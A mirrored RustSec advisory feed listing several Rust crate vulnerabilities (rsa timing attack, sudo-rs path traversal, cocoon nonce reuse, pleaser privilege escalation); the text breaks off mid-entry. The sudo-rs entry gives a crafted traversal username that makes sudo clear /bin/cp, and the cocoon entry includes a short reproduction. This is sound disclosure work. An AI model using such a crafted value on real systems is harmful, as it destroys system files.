mirror of
https://github.com/rustsec/advisory-db.git
synced 2026-11-30 17:37:51 -06:00
1763 lines
57 KiB
XML
1763 lines
57 KiB
XML
<?xml version="1.0"?>
|
|
<feed xmlns="http://www.w3.org/2005/Atom"><title>RustSec Advisories</title><id>https://rustsec.org/feed.xml</id><updated>2023-11-28T12:00:00+00:00</updated><author><name>RustSec</name></author><icon>https://rustsec.org/favicon.ico</icon><link href="https://rustsec.org/feed.xml" rel="self" type="application/atom+xml"/><link href="https://rustsec.org/" rel="alternate" type="text/html"/><subtitle xml:lang="en">Security advisories filed against Rust crates</subtitle><entry><title>RUSTSEC-2023-0071: Vulnerability in rsa</title><id>https://rustsec.org/advisories/RUSTSEC-2023-0071.html</id><updated>2023-11-28T12:00:00+00:00</updated><category term="crypto-failure"/><link href="https://rustsec.org/advisories/RUSTSEC-2023-0071.html" rel="alternate" type="text/html" title="RUSTSEC-2023-0071: Vulnerability in rsa"/><published>2023-11-28T12:00:00+00:00</published><summary xml:lang="en">Marvin Attack: potential key recovery through timing sidechannels</summary><content xml:lang="en" type="html"> <article>
|
|
|
|
<span class="floating-menu">
|
|
<a href="https://github.com/RustSec/advisory-db/commits/main/crates/rsa/RUSTSEC-2023-0071.md">History</a> ⋅
|
|
<a href="https://github.com/RustSec/advisory-db/edit/main/crates/rsa/RUSTSEC-2023-0071.md">Edit</a> ⋅
|
|
<a href="https://api.osv.dev/v1/vulns/RUSTSEC-2023-0071">JSON (OSV)</a>
|
|
</span>
|
|
|
|
|
|
<header>
|
|
<h1>
|
|
|
|
RUSTSEC-2023-0071
|
|
|
|
</h1>
|
|
<span class="subtitle"><p>Marvin Attack: potential key recovery through timing sidechannels</p>
|
|
</span>
|
|
</header>
|
|
|
|
|
|
|
|
<dl>
|
|
<dt id="reported">Reported</dt>
|
|
<dd>
|
|
<time datetime="2023-11-22">
|
|
November 22, 2023
|
|
</time>
|
|
</dd>
|
|
|
|
<dt id="issued">Issued</dt>
|
|
<dd>
|
|
<time datetime="2023-11-28">
|
|
November 28, 2023
|
|
</time>
|
|
|
|
</dd>
|
|
|
|
<dt id="package">Package</dt>
|
|
<dd>
|
|
|
|
|
|
<a href="/packages/rsa.html">rsa</a>
|
|
(<a href="https://crates.io/crates/rsa">crates.io</a>)
|
|
|
|
|
|
</dd>
|
|
|
|
<dt id="type">Type</dt>
|
|
<dd>
|
|
|
|
Vulnerability
|
|
|
|
</dd>
|
|
|
|
|
|
<dt id="categories">Categories</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li><a href="/categories/crypto-failure.html">crypto-failure</a></li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
<dt id="keywords">Keywords</dt>
|
|
<dd>
|
|
|
|
<a href="/keywords/cryptography.html">#cryptography</a>
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="details">References</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li>
|
|
<a href="https://github.com/RustCrypto/RSA/issues/19#issuecomment-1822995643">
|
|
https://github.com/RustCrypto/RSA/issues/19#issuecomment-1822995643
|
|
</a>
|
|
</li>
|
|
|
|
|
|
<li>
|
|
<a href="https://people.redhat.com/~hkario/marvin/">
|
|
https://people.redhat.com/~hkario/marvin/
|
|
</a>
|
|
</li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="patched">Patched</dt>
|
|
<dd>
|
|
|
|
no patched versions
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
</dl>
|
|
|
|
|
|
|
|
|
|
<h3 id="description">Description</h3>
|
|
<p>The <a href="https://people.redhat.com/~hkario/marvin/">Marvin Attack</a> is a timing sidechannel vulnerability which allows
|
|
performing RSA decryption and signing operations as an attacker with the
|
|
ability to observe only the time of the decryption operation performed with
|
|
the private key.</p>
|
|
<p>A recent survey of RSA implementations found that the Rust <code>rsa</code> crate is one
|
|
of many implementations vulnerable to this attack.</p>
|
|
<p>No fixed version is available at this time.</p>
|
|
|
|
|
|
<p id="license" class="license">Advisory available under <a href="https://spdx.org/licenses/CC0-1.0.html">CC0-1.0</a>
|
|
license.
|
|
|
|
|
|
</p>
|
|
</article></content></entry><entry><title>RUSTSEC-2023-0070: Vulnerability in self_cell</title><id>https://rustsec.org/advisories/RUSTSEC-2023-0070.html</id><updated>2023-11-11T12:00:00+00:00</updated><link href="https://rustsec.org/advisories/RUSTSEC-2023-0070.html" rel="alternate" type="text/html" title="RUSTSEC-2023-0070: Vulnerability in self_cell"/><published>2023-11-11T12:00:00+00:00</published><summary xml:lang="en">Insufficient covariance check makes self_cell unsound</summary><content xml:lang="en" type="html"> <article>
|
|
|
|
<span class="floating-menu">
|
|
<a href="https://github.com/RustSec/advisory-db/commits/main/crates/self_cell/RUSTSEC-2023-0070.md">History</a> ⋅
|
|
<a href="https://github.com/RustSec/advisory-db/edit/main/crates/self_cell/RUSTSEC-2023-0070.md">Edit</a> ⋅
|
|
<a href="https://api.osv.dev/v1/vulns/RUSTSEC-2023-0070">JSON (OSV)</a>
|
|
</span>
|
|
|
|
|
|
<header>
|
|
<h1>
|
|
|
|
RUSTSEC-2023-0070
|
|
|
|
</h1>
|
|
<span class="subtitle"><p>Insufficient covariance check makes self_cell unsound</p>
|
|
</span>
|
|
</header>
|
|
|
|
|
|
|
|
<dl>
|
|
<dt id="reported">Reported</dt>
|
|
<dd>
|
|
<time datetime="2023-11-10">
|
|
November 10, 2023
|
|
</time>
|
|
</dd>
|
|
|
|
<dt id="issued">Issued</dt>
|
|
<dd>
|
|
<time datetime="2023-11-11">
|
|
November 11, 2023
|
|
</time>
|
|
|
|
</dd>
|
|
|
|
<dt id="package">Package</dt>
|
|
<dd>
|
|
|
|
|
|
<a href="/packages/self_cell.html">self_cell</a>
|
|
(<a href="https://crates.io/crates/self_cell">crates.io</a>)
|
|
|
|
|
|
</dd>
|
|
|
|
<dt id="type">Type</dt>
|
|
<dd>
|
|
|
|
Vulnerability
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
<dt id="keywords">Keywords</dt>
|
|
<dd>
|
|
|
|
<a href="/keywords/unsound.html">#unsound</a>
|
|
|
|
<a href="/keywords/self_cell.html">#self_cell</a>
|
|
|
|
<a href="/keywords/self-referential.html">#self-referential</a>
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="details">References</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li>
|
|
<a href="https://github.com/Voultapher/self_cell/issues/49">
|
|
https://github.com/Voultapher/self_cell/issues/49
|
|
</a>
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="patched">Patched</dt>
|
|
<dd>
|
|
|
|
<ul>
|
|
|
|
<li><code>&gt;=0.10.3, &lt;1.0.0</code></li>
|
|
|
|
<li><code>&gt;=1.0.2</code></li>
|
|
|
|
</ul>
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
</dl>
|
|
|
|
|
|
|
|
|
|
<h3 id="description">Description</h3>
|
|
<p>All public versions prior to <code>1.02</code> used an insufficient check to ensure that
|
|
users correctly marked the dependent type as either <code>covariant</code> or
|
|
<code>not_covariant</code>. This allowed users to mark a dependent as covariant even though
|
|
its type was not covariant but invariant, for certain invariant types involving
|
|
trait object lifetimes. One example for such a dependent type is <code>type Dependent&lt;'a&gt; = RefCell&lt;Box&lt;dyn fmt::Display + 'a&gt;&gt;</code>. Such a type allowed
|
|
unsound usage in purely safe user code that leads to undefined behavior. The
|
|
patched versions now produce a compile time error if such a type is marked as
|
|
<code>covariant</code>.</p>
|
|
|
|
|
|
<p id="license" class="license">Advisory available under <a href="https://spdx.org/licenses/CC0-1.0.html">CC0-1.0</a>
|
|
license.
|
|
|
|
|
|
</p>
|
|
</article></content></entry><entry><title>RUSTSEC-2023-0069: Vulnerability in sudo-rs</title><id>https://rustsec.org/advisories/RUSTSEC-2023-0069.html</id><updated>2023-11-06T12:00:00+00:00</updated><category term="file-disclosure"/><link href="https://rustsec.org/advisories/RUSTSEC-2023-0069.html" rel="alternate" type="text/html" title="RUSTSEC-2023-0069: Vulnerability in sudo-rs"/><published>2023-11-06T12:00:00+00:00</published><summary xml:lang="en">sudo-rs: Path Traversal vulnerability</summary><content xml:lang="en" type="html"> <article>
|
|
|
|
<span class="floating-menu">
|
|
<a href="https://github.com/RustSec/advisory-db/commits/main/crates/sudo-rs/RUSTSEC-2023-0069.md">History</a> ⋅
|
|
<a href="https://github.com/RustSec/advisory-db/edit/main/crates/sudo-rs/RUSTSEC-2023-0069.md">Edit</a> ⋅
|
|
<a href="https://api.osv.dev/v1/vulns/RUSTSEC-2023-0069">JSON (OSV)</a>
|
|
</span>
|
|
|
|
|
|
<header>
|
|
<h1>
|
|
|
|
RUSTSEC-2023-0069
|
|
|
|
</h1>
|
|
<span class="subtitle"><p>sudo-rs: Path Traversal vulnerability</p>
|
|
</span>
|
|
</header>
|
|
|
|
|
|
|
|
<dl>
|
|
<dt id="reported">Reported</dt>
|
|
<dd>
|
|
<time datetime="2023-11-01">
|
|
November 1, 2023
|
|
</time>
|
|
</dd>
|
|
|
|
<dt id="issued">Issued</dt>
|
|
<dd>
|
|
<time datetime="2023-11-06">
|
|
November 6, 2023
|
|
</time>
|
|
|
|
</dd>
|
|
|
|
<dt id="package">Package</dt>
|
|
<dd>
|
|
|
|
|
|
<a href="/packages/sudo-rs.html">sudo-rs</a>
|
|
(<a href="https://crates.io/crates/sudo-rs">crates.io</a>)
|
|
|
|
|
|
</dd>
|
|
|
|
<dt id="type">Type</dt>
|
|
<dd>
|
|
|
|
Vulnerability
|
|
|
|
</dd>
|
|
|
|
|
|
<dt id="categories">Categories</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li><a href="/categories/file-disclosure.html">file-disclosure</a></li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
<dt id="keywords">Keywords</dt>
|
|
<dd>
|
|
|
|
<a href="/keywords/directory-traversal.html">#directory-traversal</a>
|
|
|
|
<a href="/keywords/http.html">#http</a>
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
<dt id="aliases">Aliases</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li>
|
|
|
|
<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-42456">CVE-2023-42456</a>
|
|
|
|
</li>
|
|
|
|
<li>
|
|
|
|
<a href="https://github.com/advisories/GHSA-2r3c-m6v7-9354">GHSA-2r3c-m6v7-9354</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
<dt id="details">References</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li>
|
|
<a href="https://github.com/advisories/GHSA-2r3c-m6v7-9354">
|
|
https://github.com/advisories/GHSA-2r3c-m6v7-9354
|
|
</a>
|
|
</li>
|
|
|
|
|
|
<li>
|
|
<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-42456">
|
|
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-42456
|
|
</a>
|
|
</li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="cvss_score">CVSS Score</dt>
|
|
<dd>3.1 <span class="tag low">
|
|
LOW
|
|
</span></dd>
|
|
|
|
<dt id="cvss_details">CVSS Details</dt>
|
|
<dd>
|
|
<dl>
|
|
|
|
<dt>Attack vector</dt><dd>Local</dd>
|
|
|
|
|
|
|
|
<dt>Attack complexity</dt><dd>Low</d>
|
|
|
|
|
|
|
|
<dt>Privileges required</dt><dd>High</dd>
|
|
|
|
|
|
|
|
<dt>User interaction</dt><dd>Required</dd>
|
|
|
|
|
|
|
|
<dt>Scope</dt><dd>Unchanged</dd>
|
|
|
|
|
|
|
|
<dt>Confidentiality</dt><dd>None</dd>
|
|
|
|
|
|
|
|
<dt>Integrity</dt><dd>Low</dd>
|
|
|
|
|
|
|
|
<dt>Availability</dt><dd>Low</dd>
|
|
|
|
</dl>
|
|
</dd>
|
|
|
|
<dt id="cvss">CVSS Vector</dt>
|
|
<dd><a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:L">CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:L</a></dd>
|
|
|
|
|
|
|
|
<dt id="patched">Patched</dt>
|
|
<dd>
|
|
|
|
<ul>
|
|
|
|
<li><code>&gt;=0.2.1</code></li>
|
|
|
|
</ul>
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
</dl>
|
|
|
|
|
|
|
|
|
|
<h3 id="description">Description</h3>
|
|
<h2>Impact</h2>
|
|
<p>An issue was discovered where usernames containing the . and / characters could result in the corruption of specific files on the filesystem. As usernames are generally not limited by the characters they can contain, a username appearing to be a relative path can be constructed. For example we could add a user to the system containing the username ../../../../bin/cp. When logged in as a user with that name, that user could run sudo -K to clear their session record file. The session code then constructs the path to the session file by concatenating the username to the session file storage directory, resulting in a resolved path of /bin/cp. The code then clears that file, resulting in the cp binary effectively being removed from the system.</p>
|
|
<p>An attacker needs to be able to login as a user with a constructed username. Given that such a username is unlikely to exist on an existing system, they will also need to be able to create the users with the constructed usernames.</p>
|
|
<h2>Patches</h2>
|
|
<p>The bug is fixed in version 0.2.1 of sudo-rs. Sudo-rs now uses the uid for the user instead of their username for determining the filename. Note that an upgrade to this version will result in existing session files being ignored and users will be forced to re-authenticate. It also fully eliminates any possibility of path traversal, given that uids are always integer values.</p>
|
|
<p>The issue was corrected in commit <code>bfdbda22968e3de43fa8246cab1681cfd5d5493d</code>.</p>
|
|
|
|
|
|
<p id="license" class="license">Advisory available under <a href="https://spdx.org/licenses/CC0-1.0.html">CC0-1.0</a>
|
|
license.
|
|
|
|
|
|
</p>
|
|
</article></content></entry><entry><title>RUSTSEC-2023-0068: Vulnerability in cocoon</title><id>https://rustsec.org/advisories/RUSTSEC-2023-0068.html</id><updated>2023-10-23T12:00:00+00:00</updated><category term="crypto-failure"/><link href="https://rustsec.org/advisories/RUSTSEC-2023-0068.html" rel="alternate" type="text/html" title="RUSTSEC-2023-0068: Vulnerability in cocoon"/><published>2023-10-23T12:00:00+00:00</published><summary xml:lang="en">Sequential calls of encryption API (`encrypt`, `wrap`, and `dump`) result in nonce reuse</summary><content xml:lang="en" type="html"> <article>
|
|
|
|
<span class="floating-menu">
|
|
<a href="https://github.com/RustSec/advisory-db/commits/main/crates/cocoon/RUSTSEC-2023-0068.md">History</a> ⋅
|
|
<a href="https://github.com/RustSec/advisory-db/edit/main/crates/cocoon/RUSTSEC-2023-0068.md">Edit</a> ⋅
|
|
<a href="https://api.osv.dev/v1/vulns/RUSTSEC-2023-0068">JSON (OSV)</a>
|
|
</span>
|
|
|
|
|
|
<header>
|
|
<h1>
|
|
|
|
RUSTSEC-2023-0068
|
|
|
|
</h1>
|
|
<span class="subtitle"><p>Sequential calls of encryption API (<code>encrypt</code>, <code>wrap</code>, and <code>dump</code>) result in nonce reuse</p>
|
|
</span>
|
|
</header>
|
|
|
|
|
|
|
|
<dl>
|
|
<dt id="reported">Reported</dt>
|
|
<dd>
|
|
<time datetime="2023-10-15">
|
|
October 15, 2023
|
|
</time>
|
|
</dd>
|
|
|
|
<dt id="issued">Issued</dt>
|
|
<dd>
|
|
<time datetime="2023-10-23">
|
|
October 23, 2023
|
|
</time>
|
|
|
|
</dd>
|
|
|
|
<dt id="package">Package</dt>
|
|
<dd>
|
|
|
|
|
|
<a href="/packages/cocoon.html">cocoon</a>
|
|
(<a href="https://crates.io/crates/cocoon">crates.io</a>)
|
|
|
|
|
|
</dd>
|
|
|
|
<dt id="type">Type</dt>
|
|
<dd>
|
|
|
|
Vulnerability
|
|
|
|
</dd>
|
|
|
|
|
|
<dt id="categories">Categories</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li><a href="/categories/crypto-failure.html">crypto-failure</a></li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
<dt id="keywords">Keywords</dt>
|
|
<dd>
|
|
|
|
<a href="/keywords/nonce.html">#nonce</a>
|
|
|
|
<a href="/keywords/stream-cipher.html">#stream-cipher</a>
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="details">References</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li>
|
|
<a href="https://github.com/fadeevab/cocoon/issues/22">
|
|
https://github.com/fadeevab/cocoon/issues/22
|
|
</a>
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="cvss_score">CVSS Score</dt>
|
|
<dd>4.5 <span class="tag medium">
|
|
MEDIUM
|
|
</span></dd>
|
|
|
|
<dt id="cvss_details">CVSS Details</dt>
|
|
<dd>
|
|
<dl>
|
|
|
|
<dt>Attack vector</dt><dd>Local</dd>
|
|
|
|
|
|
|
|
<dt>Attack complexity</dt><dd>High</d>
|
|
|
|
|
|
|
|
<dt>Privileges required</dt><dd>None</dd>
|
|
|
|
|
|
|
|
<dt>User interaction</dt><dd>None</dd>
|
|
|
|
|
|
|
|
<dt>Scope</dt><dd>Changed</dd>
|
|
|
|
|
|
|
|
<dt>Confidentiality</dt><dd>Low</dd>
|
|
|
|
|
|
|
|
<dt>Integrity</dt><dd>Low</dd>
|
|
|
|
|
|
|
|
<dt>Availability</dt><dd>None</dd>
|
|
|
|
</dl>
|
|
</dd>
|
|
|
|
<dt id="cvss">CVSS Vector</dt>
|
|
<dd><a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N">CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N</a></dd>
|
|
|
|
|
|
|
|
<dt id="patched">Patched</dt>
|
|
<dd>
|
|
|
|
<ul>
|
|
|
|
<li><code>&gt;=0.4.0</code></li>
|
|
|
|
</ul>
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
</dl>
|
|
|
|
|
|
|
|
<dl>
|
|
<dt>Affected Functions</dt>
|
|
<dd>Version</dd>
|
|
|
|
<dt><code>cocoon::Cocoon::dump</code></dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li><code>&lt;=0.3.3</code></li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
<dt><code>cocoon::Cocoon::encrypt</code></dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li><code>&lt;=0.3.3</code></li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
<dt><code>cocoon::Cocoon::wrap</code></dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li><code>&lt;=0.3.3</code></li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
<dt><code>cocoon::MiniCocoon::dump</code></dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li><code>&lt;=0.3.3</code></li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
<dt><code>cocoon::MiniCocoon::encrypt</code></dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li><code>&lt;=0.3.3</code></li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
<dt><code>cocoon::MiniCocoon::wrap</code></dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li><code>&lt;=0.3.3</code></li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
</dl>
|
|
|
|
|
|
|
|
|
|
<h3 id="description">Description</h3>
|
|
<p><strong>Problem</strong>: Trying to create a new encrypted message with the same cocoon
|
|
object generates the same ciphertext. It mostly affects <code>MiniCocoon</code> and
|
|
<code>Cocoon</code> objects with custom seeds and RNGs (where <code>StdRng</code> is used under
|
|
the hood).</p>
|
|
<p><strong>Note</strong>: The issue does <strong>NOT</strong> affect objects created with <strong><code>Cocoon::new</code></strong>
|
|
which utilizes <code>ThreadRng</code>.</p>
|
|
<p><strong>Cause</strong>: <code>StdRng</code> produces the same nonce because <code>StdRng::clone</code> resets its
|
|
state.</p>
|
|
<p><strong>Measure</strong>: Make encryption API mutable (<code>encrypt</code>, <code>wrap</code>, and <code>dump</code>).</p>
|
|
<p><strong>Workaround</strong>: Create a new cocoon object with a new <strong>seed</strong> per each
|
|
encryption.</p>
|
|
<h2>How to Reproduce</h2>
|
|
<pre><code class="language-rust">let cocoon = MiniCocoon::from_password(b&quot;password&quot;, &amp;[1; 32]);
|
|
let mut data1 = &quot;my secret data&quot;.to_owned().into_bytes();
|
|
let _ = cocoon.encrypt(&amp;mut data1)?;
|
|
|
|
let mut data2 = &quot;my secret data&quot;.to_owned().into_bytes();
|
|
let _ = cocoon.encrypt(&amp;mut data2)?;
|
|
|
|
// data1: [23, 217, 251, 151, 179, 62, 85, 15, 253, 92, 192, 112, 200, 52]
|
|
// data2: [23, 217, 251, 151, 179, 62, 85, 15, 253, 92, 192, 112, 200, 52]
|
|
</code></pre>
|
|
<h2>Workaround</h2>
|
|
<p>For <code>cocoon &lt;= 0.3.3</code>, create a new cocoon with a different <strong>seed</strong>
|
|
per each <code>encrypt</code>/<code>wrap</code>/<code>dump</code> call.</p>
|
|
<pre><code class="language-rust">let cocoon = MiniCocoon::from_password(b&quot;password&quot;, &amp;[1; 32]);
|
|
let mut data1 = &quot;my secret data&quot;.to_owned().into_bytes();
|
|
let _ = cocoon.encrypt(&amp;mut data1)?;
|
|
|
|
// Another seed: &amp;[2; 32].
|
|
let cocoon = MiniCocoon::from_password(b&quot;password&quot;, &amp;[2; 32]);
|
|
let mut data2 = &quot;my secret data&quot;.to_owned().into_bytes();
|
|
let _ = cocoon.encrypt(&amp;mut data2)?;
|
|
|
|
// data1: [23, 217, 251, 151, 179, 62, 85, 15, 253, 92, 192, 112, 200, 52]
|
|
// data2: [53, 223, 209, 96, 130, 99, 209, 108, 83, 189, 123, 81, 19, 1]
|
|
</code></pre>
|
|
|
|
|
|
<p id="license" class="license">Advisory available under <a href="https://spdx.org/licenses/CC0-1.0.html">CC0-1.0</a>
|
|
license.
|
|
|
|
|
|
</p>
|
|
</article></content></entry><entry><title>RUSTSEC-2023-0067: fehler is unmaintained</title><id>https://rustsec.org/advisories/RUSTSEC-2023-0067.html</id><updated>2023-10-14T12:00:00+00:00</updated><link href="https://rustsec.org/advisories/RUSTSEC-2023-0067.html" rel="alternate" type="text/html" title="RUSTSEC-2023-0067: fehler is unmaintained"/><published>2023-10-14T12:00:00+00:00</published><summary xml:lang="en">`fehler` is unmaintained; use `culpa` instead</summary><content xml:lang="en" type="html"> <article>
|
|
|
|
<span class="floating-menu">
|
|
<a href="https://github.com/RustSec/advisory-db/commits/main/crates/fehler/RUSTSEC-2023-0067.md">History</a> ⋅
|
|
<a href="https://github.com/RustSec/advisory-db/edit/main/crates/fehler/RUSTSEC-2023-0067.md">Edit</a> ⋅
|
|
<a href="https://api.osv.dev/v1/vulns/RUSTSEC-2023-0067">JSON (OSV)</a>
|
|
</span>
|
|
|
|
|
|
<header>
|
|
<h1>
|
|
|
|
RUSTSEC-2023-0067
|
|
|
|
</h1>
|
|
<span class="subtitle"><p><code>fehler</code> is unmaintained; use <code>culpa</code> instead</p>
|
|
</span>
|
|
</header>
|
|
|
|
|
|
|
|
<dl>
|
|
<dt id="reported">Reported</dt>
|
|
<dd>
|
|
<time datetime="2023-10-12">
|
|
October 12, 2023
|
|
</time>
|
|
</dd>
|
|
|
|
<dt id="issued">Issued</dt>
|
|
<dd>
|
|
<time datetime="2023-10-14">
|
|
October 14, 2023
|
|
</time>
|
|
|
|
</dd>
|
|
|
|
<dt id="package">Package</dt>
|
|
<dd>
|
|
|
|
|
|
<a href="/packages/fehler.html">fehler</a>
|
|
(<a href="https://crates.io/crates/fehler">crates.io</a>)
|
|
|
|
|
|
</dd>
|
|
|
|
<dt id="type">Type</dt>
|
|
<dd>
|
|
|
|
<span class="tag info">INFO</span>
|
|
Unmaintained
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="details">References</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li>
|
|
<a href="https://github.com/withoutboats/fehler/issues/66">
|
|
https://github.com/withoutboats/fehler/issues/66
|
|
</a>
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="patched">Patched</dt>
|
|
<dd>
|
|
|
|
no patched versions
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
</dl>
|
|
|
|
|
|
|
|
|
|
<h3 id="description">Description</h3>
|
|
<p>The <a href="https://crates.io/crates/fehler"><code>fehler</code></a> crate is no longer maintained.
|
|
Consider using <a href="https://crates.io/crates/culpa"><code>culpa</code></a> instead.</p>
|
|
|
|
|
|
<p id="license" class="license">Advisory available under <a href="https://spdx.org/licenses/CC0-1.0.html">CC0-1.0</a>
|
|
license.
|
|
|
|
|
|
</p>
|
|
</article></content></entry><entry><title>RUSTSEC-2023-0066: Vulnerability in pleaser</title><id>https://rustsec.org/advisories/RUSTSEC-2023-0066.html</id><updated>2023-10-28T12:00:00+00:00</updated><category term="privilege-escalation"/><link href="https://rustsec.org/advisories/RUSTSEC-2023-0066.html" rel="alternate" type="text/html" title="RUSTSEC-2023-0066: Vulnerability in pleaser"/><published>2023-10-03T12:00:00+00:00</published><summary xml:lang="en">Vulnerable to privilege escalation using ioctls TIOCSTI and TIOCLINUX</summary><content xml:lang="en" type="html"> <article>
|
|
|
|
<span class="floating-menu">
|
|
<a href="https://github.com/RustSec/advisory-db/commits/main/crates/pleaser/RUSTSEC-2023-0066.md">History</a> ⋅
|
|
<a href="https://github.com/RustSec/advisory-db/edit/main/crates/pleaser/RUSTSEC-2023-0066.md">Edit</a> ⋅
|
|
<a href="https://api.osv.dev/v1/vulns/RUSTSEC-2023-0066">JSON (OSV)</a>
|
|
</span>
|
|
|
|
|
|
<header>
|
|
<h1>
|
|
|
|
RUSTSEC-2023-0066
|
|
|
|
</h1>
|
|
<span class="subtitle"><p>Vulnerable to privilege escalation using ioctls TIOCSTI and TIOCLINUX</p>
|
|
</span>
|
|
</header>
|
|
|
|
|
|
|
|
<dl>
|
|
<dt id="reported">Reported</dt>
|
|
<dd>
|
|
<time datetime="2023-04-29">
|
|
April 29, 2023
|
|
</time>
|
|
</dd>
|
|
|
|
<dt id="issued">Issued</dt>
|
|
<dd>
|
|
<time datetime="2023-10-03">
|
|
October 3, 2023
|
|
</time>
|
|
|
|
<time datetime="2023-10-28">
|
|
(last modified: October 28, 2023)
|
|
</time>
|
|
|
|
</dd>
|
|
|
|
<dt id="package">Package</dt>
|
|
<dd>
|
|
|
|
|
|
<a href="/packages/pleaser.html">pleaser</a>
|
|
(<a href="https://crates.io/crates/pleaser">crates.io</a>)
|
|
|
|
|
|
</dd>
|
|
|
|
<dt id="type">Type</dt>
|
|
<dd>
|
|
|
|
Vulnerability
|
|
|
|
</dd>
|
|
|
|
|
|
<dt id="categories">Categories</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li><a href="/categories/privilege-escalation.html">privilege-escalation</a></li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="aliases">Aliases</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li>
|
|
|
|
<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46277">CVE-2023-46277</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
<dt id="details">References</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li>
|
|
<a href="https://gitlab.com/edneville/please/-/issues/13">
|
|
https://gitlab.com/edneville/please/-/issues/13
|
|
</a>
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="cvss_score">CVSS Score</dt>
|
|
<dd>4.6 <span class="tag medium">
|
|
MEDIUM
|
|
</span></dd>
|
|
|
|
<dt id="cvss_details">CVSS Details</dt>
|
|
<dd>
|
|
<dl>
|
|
|
|
<dt>Attack vector</dt><dd>Local</dd>
|
|
|
|
|
|
|
|
<dt>Attack complexity</dt><dd>Low</d>
|
|
|
|
|
|
|
|
<dt>Privileges required</dt><dd>Low</dd>
|
|
|
|
|
|
|
|
<dt>User interaction</dt><dd>Required</dd>
|
|
|
|
|
|
|
|
<dt>Scope</dt><dd>Changed</dd>
|
|
|
|
|
|
|
|
<dt>Confidentiality</dt><dd>Low</dd>
|
|
|
|
|
|
|
|
<dt>Integrity</dt><dd>Low</dd>
|
|
|
|
|
|
|
|
<dt>Availability</dt><dd>None</dd>
|
|
|
|
</dl>
|
|
</dd>
|
|
|
|
<dt id="cvss">CVSS Vector</dt>
|
|
<dd><a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N">CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N</a></dd>
|
|
|
|
|
|
|
|
<dt id="patched">Patched</dt>
|
|
<dd>
|
|
|
|
no patched versions
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
</dl>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<h3 id="description">Description</h3>
|
|
<p>please is vulnerable to privilege escalation using ioctls TIOCSTI
|
|
